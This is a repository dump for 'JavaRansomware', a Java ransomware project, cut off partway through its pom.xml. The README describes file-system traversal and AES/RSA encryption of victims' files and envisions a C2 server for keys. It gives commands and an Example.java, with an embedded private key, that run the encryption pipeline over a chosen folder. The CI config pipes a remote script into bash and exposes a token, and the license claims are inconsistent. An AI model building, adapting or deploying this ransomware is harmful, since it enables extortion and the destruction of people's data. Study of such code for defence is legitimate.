[
  {
    "path": ".gitignore",
    "content": "# Compiled class file\n*.class\n\n# Log file\n*.log\n\n# BlueJ files\n*.ctxt\n\n# Mobile Tools for Java (J2ME)\n.mtj.tmp/\n\n# Package Files #\n*.jar\n*.war\n*.nar\n*.ear\n*.zip\n*.tar.gz\n*.rar\n\n# virtual machine crash logs, see http://www.java.com/en/download/help/error_hotspot.xml\nhs_err_pid*\n.idea\n*.iml\n*.project\ntarget/\nbuild/\nbin/\n/tmp/\n.DS_Store\n.attach_pid*\n*.effective.properties\nnode_modules\npackage-lock.json\n*.class\ntmp/"
  },
  {
    "path": "LICENSE",
    "content": "MIT License\n\nCopyright (c) 2016 panagiotis\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<div align=\"center\">\n\n<sup>Special thanks my followers for supporting me:</sup>\n\n<div>\n<img src=\"./logo.png\" width=\"230\" alt=\"Warp\" />\n</div>\n<b>\nJavaRansomware encrypts a victim’s files through Java, preventing access without a decryption key\nThe code uses standard Java libraries and a custom encryption routine to execute its malicious payload\n</b>\n<div>\n<sup>Visit <u>warp.dev</u> to learn more.</sup>\n</div>\n\n\n<hr />\n\n# JavaRansomware\n\n<a href=\"\">![build-status](https://ci.appveyor.com/api/projects/status/github/PanagiotisDrakatos/javaransomware?branch=master&svg=true)</a>\n<a href=\"\">[![Scc Count Badge](https://sloc.xyz/github/PanagiotisDrakatos/JavaRansomware/?category=lines)](https://github.com/PanagiotisDrakatos/JavaRansomware/)</a>\n<a href=\"\">![GitHub Repo stars](https://img.shields.io/github/stars/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>\n<a href=\"\">![GitHub followers](https://img.shields.io/github/followers/PanagiotisDrakatos?style=flat&logo=green)</a>\n<a href=\"\">![GitHub forks](https://img.shields.io/github/forks/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>\n<a href=\"\">![GitHub watchers](https://img.shields.io/github/watchers/PanagiotisDrakatos/JavaRansomware?style=flat&logoColor=green)</a>\n<a href=\"\">![GitHub contributors](https://badgen.net/github/contributors/PanagiotisDrakatos/JavaRansomware/)</a>\n<a href=\"\">![GitHub branches](https://badgen.net/github/branches/PanagiotisDrakatos/JavaRansomware/)</a>\n<a href=\"\">![GitHub language count](https://img.shields.io/github/languages/count/PanagiotisDrakatos/JavaRansomware?style=flat&logo=green)</a>\n<a href=\"\">![GitHub releases](https://badgen.net/github/releases/PanagiotisDrakatos/JavaRansomware/)</a>\n<a href=\"\">![GitHub Issues or Pull Requests](https://img.shields.io/github/issues/PanagiotisDrakatos/JavaRansomware?style=flat)</a>\n<a href=\"\">[![GitHub pull requests](https://img.shields.io/github/issues-pr/PanagiotisDrakatos/JavaRansomware.svg)](https://github.com/PanagiotisDrakatos/JavaRansomware/pulls)</a>\n<a href=\"\">![GitHub commit](https://badgen.net/github/commits/PanagiotisDrakatos/JavaRansomware)</a>\n<a href=\"\">![GitHub Downloads (all assets, all releases)](https://img.shields.io/github/downloads/PanagiotisDrakatos/JavaRansomware/total?style=flat&logo=green)</a>\n<a href=\"\">![GitHub code size in bytes](https://img.shields.io/github/languages/code-size/PanagiotisDrakatos/JavaRansomware?style=flat)</a>\n<a href=\"\">[![GitHub code-size](https://img.shields.io/github/languages/code-size/PanagiotisDrakato/JavaRansomware.svg)]()</a>\n<a href=\"\">![GitHub repo size](https://img.shields.io/github/repo-size/PanagiotisDrakatos/JavaRansomware?style=flat&logo=green)</a>\n<a href=\"\">[![License](https://img.shields.io/badge/license-Apache-green.svg)](https://github.com/PanagiotisDrakatos/JavaRansomware/blob/master/LICENSE)</a>\n\n</div>\n\n\n> **Warning**  \n> This project is intended **solely for educational and research purposes**.  \n> **Do not** use it on any system without explicit permission. Using code like this to compromise systems or data\n> without authorization is illegal and unethical.\n\n## Table of Contents\n\n1. [Project Overview](#project-overview)\n2. [What does ransomware do?](#what-does-ransomware-do)\n3. [Key Features](#key-features)\n4. [Technical Details](#technical-details)\n    - [Encryption Process](#encryption-process)\n    - [Decryption Process](#decryption-process)\n    - [Keys and Security](#keys-and-security)\n5. .[Legal Warning](#legal-warning)\n6. [Support](#support)\n7. [Note](#note)\n8. [Contribute](#contribute)\n9. [Authors](#authors)\n10. [License](#license)\n\n## Project Overview\n\n**JavaRansomware** is a proof-of-concept cryptographic ransomware application written in **pure Java**.\nIt demonstrates how a malicious actor might encrypt files on a target machine, hold them for\nransom, and only decrypt them upon certain conditions. Ransomware is malware for data kidnapping, an exploit in which\nthe attacker encrypts the victim's  files and stops them from access them.\n\nAs a teaching tool, this repository illustrates common ransomware tactics:\n\n- Iterating through a file system to find and encrypt targeted files.\n- Employing **AES-256** as the symmetric cipher.\n- Protecting the AES key using **RSA-4096** for additional security.\n\n> **Again**, this software is provided for **educational** and **research** insights into how ransomware threats\n> operate, so security professionals, researchers, and students can better understand and defend against them.\n\n---\n\n## What does ransomware do?\n\nThere are different types of ransomware. However, all of them will prevent you from using your\nPC normally, and they will all ask you to do something before you can use your PC. They can target\nany PC users, whether it’s a home computer, endpoints in an enterprise network, or servers\nused by a government agency or healthcare provider.\n\nRansomware can:\n\n* Prevent you from accessing Windows.\n\n* Encrypt files so you can't use them.\n\n* Stop certain apps from running (like your web browser).\n\nRansomware will demand that you pay money (a “ransom”) to get access to your PC or files. We\nhave also seen them make you complete surveys. There is no guarantee that paying the fine or\ndoing what the ransomware tells you will give access to your PC or files again.\n\n## Key Features\n\n1. **Symmetric Encryption (AES-256)**\n    - Encrypts files using a robust 256-bit key.\n    - Fast and efficient for large volumes of data.\n\n2. **Asymmetric Key Protection (RSA-4096)**\n    - The AES key is encrypted with a 4096-bit RSA public key.\n    - Prevents easy key recovery without the matching RSA private key.\n\n3. **Configurable File Paths**\n    - Specify which folders or directories to target for encryption/decryption.\n\n4. **Simple Command-Line Interface**\n    - Takes arguments for path and action (encrypt or decrypt).\n\n5. **Educational-Focused**\n    - The code is structured to highlight each step of the ransomware life cycle.\n    - Clear class and method names to guide understanding.\n\n### Encryption Process\n\n1. **File Discovery**\n    - The ransomware scans a specified directory (recursively) for files to encrypt.\n\n2. **AES Key Generation**\n    - Generates a random 256-bit (32-byte) AES key.\n    - This key protects the actual file contents.\n\n3. **RSA Public Key Encryption**\n    - The generated AES key is itself encrypted with an RSA-4096 public key.\n    - This ensures that only someone with the corresponding private key can decrypt and recover the AES key.\n\n4. **AES File Encryption**\n    - Each targeted file is encrypted with the AES key in **CBC** or **ECB** mode (depending on the implementation in\n      the code).\n    - Encrypted data replaces the original file contents (or is written to a new file).\n\n5. **(Optional) Logging/DB**\n    - The project references an embedded database for storing the victim ID, key references, etc.\n    - In a real scenario, this might be replaced by an online Command & Control (C2) server.\n\n### Decryption Process\n\n1. **RSA Private Key**\n    - The private key (matching the earlier RSA public key) decrypts the stored AES key.\n\n2. **AES File Decryption**\n    - The now-recovered AES key is used to decrypt the files, restoring them to their original contents.\n\n### Keys and Security\n\n- **AES-256** is a symmetric cipher considered secure under modern standards.\n- **RSA-4096** ensures the key exchange is non-trivial to brute force.\n- Combined, these create a typical hybrid encryption model used by many real-world ransomware variants.\n\n## Technical Details\n\nThis project aims to build an almost functional crypto-ransomware for educational purposes, written in in pure java.\nBasically, it will encrypt your files in background using AES-256, a strong encryption algorithm, using RSA-4096 Public\nKey to secure the AES Symetric key and store it in an embeeded database.\n\nAssume that there is a C&C Server who for store the Id and the respective encryption key and possibly act as a Command\nand Control server in the near future.\n\nFor Education Purposes I will not Provide the Full Server source code.,as i decribed in the previous paragraph. Let's\nimagine a simple testing example which client by deafult has the Asymmetrtic encryption keys.\n\nThe easiest way to run this Project is to simply run the below commands\n\n ```\n $ mvn clean install\n```\n\nRun the following test and encrypt all files in the current given path of the Examples test file\nand wait until the execution will be finished.\n\n ```bash\n    mvn -Dtest=MyTest ExampleTest test\n  ```\n\n\n> DON'T RUN JavaRansomware.jar IN YOUR PERSONAL MACHINE, EXECUTE ONLY IN A TEST ENVIRONMENT(VMWARE)!\n\nif you want to use the project programmatically just put the below code in your project and simply run it. Don't forget\nto give input arguments path before executing it.\n\n<h2>Java Manual</h2>\n\nJDK [21](https://www.oracle.com/java/technologies/javase/jdk21-archive-downloads.html) is required to build and run this\nproject.\n```java\npackage com.security;\n\n\nimport java.nio.file.Path;\nimport java.nio.file.Paths;\nimport java.security.GeneralSecurityException;\n\npublic class Example {\n    private static final String PubicKey = \"MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBAJCw1HHQooCFGsGhtxNrsdS6dDq5jtfHqqLInCj7qFlDaD/Sll5+BAUjV0GU/c+6PVyMKzmLrHh49eeGQy1ETN8CAwEAAQ==\";\n    private static final String PrivateKey = \"MIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEAkLDUcdCigIUawaG3E2ux1Lp0OrmO18eqosicKPuoWUNoP9KWXn4EBSNXQZT9z7o9XIwrOYuseHj154ZDLURM3wIDAQABAkA9AnLx8tkye+2GTBwYEkcPvfcYc/mpPsXSkehW15Zq3IALx3Kr5GgKGOaB2FK6PU0QzEPQbNJXdA5ZPjwTDcQBAiEA1/zINRVlrLpw2HPfqsYQ8ZSDuG2rVUUKKmKgJQXeQ98CIQCrfsw2+VKOaFoJm5BpVxIT5nsE8CXn4fr/WSFuklMXAQIgTKWnAreCKmbLTvTn5bl+H8zdZaB9kbf7YIk5XYoUky8CIQCL2ccnPYK5ZxelphrKDJtNZzMC/+OpiXtqKIE+7kycAQIgRK/DUhWUgSQV5u7VoCHDyLPCntjFMGBsg7Wi1uq+EDM=\";\n\n\n    public static void main(String[] args) throws RansomwareException, GeneralSecurityException {\n        // Set Whatever path you want to test\n        Path testPath = Paths.get(\"C:\\\\Users\\\\User\\\\Documents\\\\GitHub\\\\JavaRansomware\\\\src\\\\resources\");\n        //Path testPath = Paths.get(Objects.requireNonNull(ExampleTest.class.getResource(\"/test.txt\")).toURI());\n        PipelineData pipelineData = new PipelineData();\n        pipelineData.setPrivateKey(PrivateKey);\n        pipelineData.setPublicKey(PubicKey);\n\n        // Alternative Gen RSA. Make sure you save the keypair to a file if not loaded\n//        RSAGenKeyReader.StringKeyPair keyPair=RSAGenKeyReader.generateKeyPair();\n//        pipelineData.setPrivateKey(keyPair.privateKey());\n//        pipelineData.setPublicKey(keyPair.publicKey());\n\n        pipelineData.setRootPath(testPath.toAbsolutePath().toString());\n\n        Pipeline<PipelineData, PipelineData> encrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new GenSymmetricKeyHandler())\n                .addHandler(new RansomwareEncryptHandler())\n                .addHandler(new EncryptKeyHandler())\n                .addHandler(new DatabaseStoreHandler());\n        var encrypt_output = encrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline encrypt_output: \" + encrypt_output);\n\n\n        Pipeline<PipelineData, PipelineData> decrypt_filters = new Pipeline<PipelineData, PipelineData>(new DatabaseRetrieveHandler())\n                .addHandler(new DecryptKeyHandler())\n                .addHandler(new RansomwareDecryptHandler())\n                .addHandler(new DecryptKeyHandler());\n        var decrypt_output = decrypt_filters.execute(pipelineData);\n        System.out.println(\"Pipeline output: \" + decrypt_output);\n    }\n}\n\n```\n\n\n![alt tag](./JavaRansomWare.PNG)\n\n## Legal Warning\nWhile this may be helpful for some, there are significant risks. JavaRansomware may be used only for \nEducational Purposes. Do not use it as a ransomware! You could go to jail if if you will use it for \nmalicious purposes.<\n\n\n## Support\n\nFor support, email panagiotisdrakatos@gmail.com or join me Discord:panos5427.\nMeaning, if you liked using this app or it has helped you in any way,\nI'd like you send me an email about anything you'd want to say about this software.\nI'd really appreciate it!\n\n## Note\n\n- ⭐️ Give me a Star!! JavaRansomware is constantly updating, support us!\n- The analysis was done by me, without having obfuscated the source code (either with pyarmor etc),\n- I would not recommend using JavaRansomware + obfuscatebecause many times av trigger obfuscated codes as false positive\n  even if legitimate.\n\n## Contribute\n\n1. Fork it: git clone https://github.com/PanagiotisDrakatos/JavaRansomware.git\n2. Create your feature branch: ```git checkout -b my-new-feature```\n3. Commit your changes: ```git commit -am 'Add some feature```\n4. Push to the branch: ```git push origin my-new-feature```\n5. Submit a pull request\n\n## Authors\n\n- [@panagiotisdrakatos](https://github.com/PanagiotisDrakatos)\n\n \n## License\nThis project is distributed under the MIT license version 2.0 (see the LICENSE file in the project root).\n\nBy submitting a pull request to this project, you agree to license your contribution under the MIT license version 2.0\nto this project.\n\n[![MIT License](https://img.shields.io/badge/License-MIT-green.svg)](https://choosealicense.com/licenses/mit/)\n"
  },
  {
    "path": "appveyor.yml",
    "content": "environment:\n  MAVEN_OPTS: \"-Xmx8g -XX:MaxMetaspaceSize=12g\"\n  MAVEN_VERSION: 3.9.9\n  APPVEYOR_BUILD_ID: 1\n  APPVEYOR_BUILD_NUMBER: 1.0.2\ninit:\n  - set APPVEYOR_BUILD_ID\n  - set APPVEYOR_BUILD_NUMBER\n\nimage: ubuntu\nbranches:\n  only:\n    - master\nconfiguration: Release\ninstall:\n  - sh: |\n      echo \"APPVEYOR_BUILD_ID: $APPVEYOR_BUILD_ID\"\n      echo \"APPVEYOR_BUILD_NUMBER: $APPVEYOR_BUILD_NUMBER\"\n  - export MAVEN_OPTS=\"-Xmx8g -XX:MaxMetaspaceSize=12g\"\n  - ls -ahl;\n  - sh: |\n      sudo apt -y update > /dev/null;\n      sudo DEBIAN_FRONTEND=noninteractive apt -qq -y install aria2 gnupg2 graphviz openssl rsync sshpass whois --no-install-suggests --no-install-recommends;\n  #- whois $(curl ipinfo.io/ip);\n  # Settings -> Environment -> Environment variables -> Add variable\n  # CI_OPT_ORIGIN_REPO_SLUG\n  - sh: |\n      # make AppVeyor's JDK path (/usr/lib/jvm/java-21-openjdk-amd64) compatible with travis-ci's style (/usr/lib/jvm/java-21-openjdk) to make toolchains.xml valid\n      if [[ -d /usr/lib/jvm/java-8-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-8-openjdk-amd64 /usr/lib/jvm/java-8-openjdk; fi;\n      if [[ -d /usr/lib/jvm/java-11-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-11-openjdk-amd64 /usr/lib/jvm/java-11-openjdk; fi;\n      if [[ -d /usr/lib/jvm/java-21-openjdk-amd64 ]]; then sudo ln -s /usr/lib/jvm/java-21-openjdk-amd64 /usr/lib/jvm/java-21-openjdk; fi;\n      export JAVA_HOME=\"/usr/lib/jvm/java-21-openjdk\";\n      export PATH=\"$JAVA_HOME:$PATH\";\n  - sh: |\n      export CI_OPT_MVN_MULTI_STAGE_BUILD=\"false\";\n\n  - sh: |\n      mvn -v\n      wget https://downloads.apache.org/maven/maven-3/3.9.9/binaries/apache-maven-3.9.9-bin.tar.gz\n      tar -xzf apache-maven-3.9.9-bin.tar.gz\n      sudo mv apache-maven-3.9.9 /opt/maven\n      export PATH=/opt/maven/bin:$PATH\n      mvn -v\n      java -version\n\nservices:\n  - docker\n\nstack: jdk 21\nbuild_script:\n  - mvn clean install -U\ntest_script:\n  - mvn clean install -U\nafter_test:\n  - ps: |\n      curl -s https://codecov.io/bash | bash -s - -t 1d910d2b-5749-4c90-bc7d-e8e4b3185606\nbuild: off\ncache:\n  - \"$HOME/.cache\"\n  - \"$HOME/.gradle\"\n  - \"$HOME/.m2/repository\"\n  - \"$HOME/.m2/wrapper\"\n  - \"$HOME/.sonar/cache\""
  },
  {
    "path": "dependency-reduced-pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd\">\n  <modelVersion>4.0.0</modelVersion>\n  <groupId>com.security</groupId>\n  <artifactId>com.security</artifactId>\n  <name>com.security</name>\n  <version>1.0-SNAPSHOT-JavaRansomware</version>\n  <url>http://maven.apache.org</url>\n  <build>\n    <resources>\n      <resource>\n        <directory>src/resources</directory>\n        <includes>\n          <include>**/*.txt</include>\n          <include>**/*.so</include>\n        </includes>\n      </resource>\n    </resources>\n    <pluginManagement>\n      <plugins>\n        <plugin>\n          <groupId>kr.motd.maven</groupId>\n          <artifactId>os-maven-plugin</artifactId>\n          <version>${kr.motd.maven}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-assembly-plugin</artifactId>\n          <version>${maven-assembly-plugin}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>exec-maven-plugin</artifactId>\n          <version>${exec-maven-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-surefire-plugin</artifactId>\n          <version>${maven-surefire-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-jar-plugin</artifactId>\n          <version>${maven-jar-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-compiler-plugin</artifactId>\n          <version>${maven-compiler-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-source-plugin</artifactId>\n          <version>${maven-source-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-shade-plugin</artifactId>\n          <version>${maven-shade-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.codehaus.mojo</groupId>\n          <artifactId>buildnumber-maven-plugin</artifactId>\n          <version>${buildnumber-maven-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-javadoc-plugin</artifactId>\n          <version>${maven-javadoc-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-gpg-plugin</artifactId>\n          <version>${maven-gpg-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.sonatype.plugins</groupId>\n          <artifactId>nexus-staging-maven-plugin</artifactId>\n          <version>${nexus-staging-maven-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <groupId>org.jacoco</groupId>\n          <artifactId>jacoco-maven-plugin</artifactId>\n          <version>${jacoco-maven-plugin.version}</version>\n        </plugin>\n        <plugin>\n          <artifactId>maven-resources-plugin</artifactId>\n          <version>${maven-resources-plugin.version}</version>\n        </plugin>\n      </plugins>\n    </pluginManagement>\n    <plugins>\n      <plugin>\n        <artifactId>maven-surefire-plugin</artifactId>\n        <configuration>\n          <forkCount>1</forkCount>\n          <threadCount>1</threadCount>\n          <reuseForks>false</reuseForks>\n          <runOrder>alphabetical</runOrder>\n          <argLine>--add-opens java.base/java.lang=ALL-UNNAMED\n                        --add-opens java.base/java.util=ALL-UNNAMED\n                        --add-opens java.base/java.math=ALL-UNNAMED\n                        --add-opens java.base/sun.nio.ch=ALL-UNNAMED\n                        --add-opens java.base/java.security.spec=ALL-UNNAMED\n                        --add-opens java.base/java.time=ALL-UNNAMED</argLine>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-compiler-plugin</artifactId>\n        <configuration>\n          <source>${java.version}</source>\n          <target>${java.version}</target>\n        </configuration>\n      </plugin>\n      <plugin>\n        <artifactId>maven-assembly-plugin</artifactId>\n        <executions>\n          <execution>\n            <id>make-assembly</id>\n            <phase>package</phase>\n            <goals>\n              <goal>single</goal>\n            </goals>\n            <configuration>\n              <descriptors>\n                <descriptor>src/assembly/assembly.xml</descriptor>\n              </descriptors>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n      <plugin>\n        <artifactId>maven-jar-plugin</artifactId>\n      </plugin>\n      <plugin>\n        <artifactId>maven-shade-plugin</artifactId>\n        <executions>\n          <execution>\n            <phase>package</phase>\n            <goals>\n              <goal>shade</goal>\n            </goals>\n            <configuration>\n              <transformers>\n                <transformer />\n                <transformer />\n              </transformers>\n              <filters>\n                <filter>\n                  <artifact>*:*</artifact>\n                  <excludes>\n                    <exclude>META-INF/**</exclude>\n                    <exclude>INFO/**</exclude>\n                    <exclude>asm:*</exclude>\n                    <exclude>META-INF/*.MF</exclude>\n                    <exclude>META-INF/*.SF</exclude>\n                    <exclude>META-INF/*.DSA</exclude>\n                    <exclude>META-INF/*.RSA</exclude>\n                    <exclude>META-INF/versions/21/**</exclude>\n                  </excludes>\n                </filter>\n              </filters>\n            </configuration>\n          </execution>\n        </executions>\n      </plugin>\n    </plugins>\n  </build>\n  <dependencies>\n    <dependency>\n      <groupId>org.projectlombok</groupId>\n      <artifactId>lombok</artifactId>\n      <version>1.18.36</version>\n      <scope>provided</scope>\n    </dependency>\n    <dependency>\n      <groupId>org.junit.jupiter</groupId>\n      <artifactId>junit-jupiter-api</artifactId>\n      <version>5.12.0</version>\n      <scope>test</scope>\n      <exclusions>\n        <exclusion>\n          <artifactId>opentest4j</artifactId>\n          <groupId>org.opentest4j</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>junit-platform-commons</artifactId>\n          <groupId>org.junit.platform</groupId>\n        </exclusion>\n        <exclusion>\n          <artifactId>apiguardian-api</artifactId>\n          <groupId>org.apiguardian</groupId>\n        </exclusion>\n      </exclusions>\n    </dependency>\n  </dependencies>\n  <properties>\n    <maven-gpg-plugin.version>3.2.6</maven-gpg-plugin.version>\n    <maven-javadoc-plugin.version>3.10.0</maven-javadoc-plugin.version>\n    <commons-codec.version>1.18.0</commons-codec.version>\n    <kr.motd.maven>1.7.1</kr.motd.maven>\n    <maven-jar-plugin.version>3.4.2</maven-jar-plugin.version>\n    <nexus-staging-maven-plugin.version>1.7.0</nexus-staging-maven-plugin.version>\n    <maven-shade-plugin.version>3.6.0</maven-shade-plugin.version>\n    <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>\n    <junit-jupiter-api.version>5.12.0</junit-jupiter-api.version>\n    <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>\n    <maven-resources-plugin.version>3.3.1</maven-resources-plugin.version>\n    <buildnumber-maven-plugin.version>3.2.1</buildnumber-maven-plugin.version>\n    <exec-maven-plugin.version>3.4.1</exec-maven-plugin.version>\n    <netty.version>4.2.0.RC3</netty.version>\n    <fury-core.version>0.10.0</fury-core.version>\n    <maven-source-plugin.version>3.3.1</maven-source-plugin.version>\n    <bcprov-jdk18on.version>1.80</bcprov-jdk18on.version>\n    <maven-assembly-plugin>3.7.1</maven-assembly-plugin>\n    <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n    <jacoco-maven-plugin.version>0.8.12</jacoco-maven-plugin.version>\n    <commons-io.version>2.18.0</commons-io.version>\n    <java.version>21</java.version>\n    <derby.version>10.17.1.0</derby.version>\n    <jackson-databind.version>2.18.2</jackson-databind.version>\n    <lombok.version>1.18.36</lombok.version>\n  </properties>\n</project>\n"
  },
  {
    "path": "encryptedKeyDB/README_DO_NOT_TOUCH_FILES.txt",
    "content": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***\n# *** FILES IN THIS DIRECTORY AND SUBDIRECTORIES CONSTITUTE A DERBY     ***\n# *** DATABASE, WHICH INCLUDES THE DATA (USER AND SYSTEM) AND THE       ***\n# *** FILES NECESSARY FOR DATABASE RECOVERY.                            ***\n# *** EDITING, ADDING, OR DELETING ANY OF THESE FILES MAY CAUSE DATA    ***\n# *** CORRUPTION AND LEAVE THE DATABASE IN A NON-RECOVERABLE STATE.     ***\n# *************************************************************************"
  },
  {
    "path": "encryptedKeyDB/log/README_DO_NOT_TOUCH_FILES.txt",
    "content": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***\n# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE RECOVERY   ***\n# *** SYSTEM. EDITING, ADDING, OR DELETING FILES IN THIS DIRECTORY      ***\n# *** WILL CAUSE THE DERBY RECOVERY SYSTEM TO FAIL, LEADING TO          ***\n# *** NON-RECOVERABLE CORRUPT DATABASES.                                ***\n# *************************************************************************"
  },
  {
    "path": "encryptedKeyDB/seg0/README_DO_NOT_TOUCH_FILES.txt",
    "content": "\n# *************************************************************************\n# ***              DO NOT TOUCH FILES IN THIS DIRECTORY!                ***\n# *** FILES IN THIS DIRECTORY ARE USED BY THE DERBY DATABASE TO STORE   *** \n# *** USER AND SYSTEM DATA. EDITING, ADDING, OR DELETING FILES IN THIS  ***\n# *** DIRECTORY WILL CORRUPT THE ASSOCIATED DERBY DATABASE AND MAKE     ***\n# *** IT NON-RECOVERABLE.                                               ***\n# *************************************************************************"
  },
  {
    "path": "encryptedKeyDB/service.properties",
    "content": "#C:\\Users\\User\\Documents\\GitHub\\JavaRansomware\\encryptedKeyDB\n# ********************************************************************\n# ***                Please do NOT edit this file.                 ***\n# *** CHANGING THE CONTENT OF THIS FILE MAY CAUSE DATA CORRUPTION. ***\n# ********************************************************************\n#Fri Feb 28 21:08:50 EET 2025\nSyscolumnsIdentifier=144\nSyscolumnsIndex1Identifier=161\nSyscolumnsIndex2Identifier=177\nSysconglomeratesIdentifier=32\nSysconglomeratesIndex1Identifier=49\nSysconglomeratesIndex2Identifier=65\nSysconglomeratesIndex3Identifier=81\nSysschemasIdentifier=192\nSysschemasIndex1Identifier=209\nSysschemasIndex2Identifier=225\nSystablesIdentifier=96\nSystablesIndex1Identifier=113\nSystablesIndex2Identifier=129\nderby.serviceLocale=en_US\nderby.serviceProtocol=org.apache.derby.database.Database\nderby.storage.propertiesId=16\n#--- last line, don't put anything after this line ---\n"
  },
  {
    "path": "pom.xml",
    "content": "<project xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n\n    <groupId>com.security</groupId>\n    <artifactId>com.security</artifactId>\n    <version>1.0-SNAPSHOT-JavaRansomware</version>\n    <packaging>jar</packaging>\n\n    <name>com.security</name>\n    <url>http://maven.apache.org</url>\n\n    <properties>\n        <java.version>21</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <commons-io.version>2.18.0</commons-io.version>\n        <commons-codec.version>1.18.0</commons-codec.version>\n        <bcprov-jdk18on.version>1.80</bcprov-jdk18on.version>\n        <jackson-databind.version>2.18.2</jackson-databind.version>\n        <derby.version>10.17.1.0</derby.version>\n        <junit-jupiter-api.version>5.12.0</junit-jupiter-api.version>\n        <fury-core.version>0.10.0</fury-core.version>\n        <lombok.version>1.18.36</lombok.version>\n\n        <!-- Plugin Updates-->\n        <exec-maven-plugin.version>3.4.1</exec-maven-plugin.version>\n        <maven-surefire-plugin.version>3.5.2</maven-surefire-plugin.version>\n        <maven-jar-plugin.version>3.4.2</maven-jar-plugin.version>\n        <maven-compiler-plugin.version>3.13.0</maven-compiler-plugin.version>\n        <maven-source-plugin.version>3.3.1</maven-source-plugin.version>\n        <maven-shade-plugin.version>3.6.0</maven-shade-plugin.version>\n        <buildnumber-maven-plugin.version>3.2.1</buildnumber-maven-plugin.version>\n        <maven-javadoc-plugin.version>3.10.0</maven-javadoc-plugin.version>\n        <maven-gpg-plugin.version>3.2.6</maven-gpg-plugin.version>\n        <nexus-staging-maven-plugin.version>1.7.0</nexus-staging-maven-plugin.version>\n        <jacoco-maven-plugin.version>0.8.12</jacoco-maven-plugin.version>\n        <maven-resources-plugin.version>3.3.1</maven-resources-plugin.version>\n        <maven-assembly-plugin>3.7.1</maven-assembly-plugin>\n        <kr.motd.maven>1.7.1</kr.motd.maven>\n        <netty.version>4.2.0.RC3</netty.version>\n\n    </properties>\n\n    <dependencies>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>${lombok.version}</version>\n            <scope>provided</scope>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.fury</groupId>\n            <artifactId>fury-core</artifactId>\n            <version>${fury-core.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.junit.jupiter</groupId>\n            <artifactId>junit-jupiter-api</artifactId>\n            <version>${junit-jupiter-api.version}</version>\n            <scope>test</scope>\n        </dependency>\n        <dependency>\n            <groupId>commons-io</groupId>\n            <artifactId>commons-io</artifactId>\n            <version>${commons-io.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>commons-codec</groupId>\n            <artifactId>commons-codec</artifactId>\n            <version>${commons-codec.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.bouncycastle</groupId>\n            <artifactId>bcprov-jdk18on</artifactId>\n            <version>${bcprov-jdk18on.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.apache.derby</groupId>\n            <artifactId>derby</artifactId>\n            <version>${derby.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>com.fasterxml.jackson.core</groupId>\n            <artifactId>jackson-databind</artifactId>\n            